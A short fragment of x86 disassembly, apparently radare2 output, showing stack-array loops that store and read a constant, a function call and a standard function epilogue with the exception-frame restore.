jmp 0x1001fe9d
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x540], 0x32b0
jge 0x1001ff63
mov edx, dword [ebp - 0x5ec]
mov ecx, 0x100761b8
call fcn.10008b0d
jmp 0x1001ff7f
or dword [ebp - 4], 0xffffffff
jmp 0x1001ff89
mov dword [ebp - 0x264], 0
jmp 0x1001ffa2
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x1001ffbe
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0x8b0], 0x925b0e44
jmp 0x1001ff95
mov dword [ebp - 0xdc], 6
mov dword [ebp - 0xdc], 1
jmp 0x1001ffe1
mov eax, dword [ebp - 0xdc]
dec eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0
jl 0x1001ffff
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp + eax*4 - 0x8b0]
mov dword [ebp - 0x5f4], eax
jmp 0x1001ffd4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret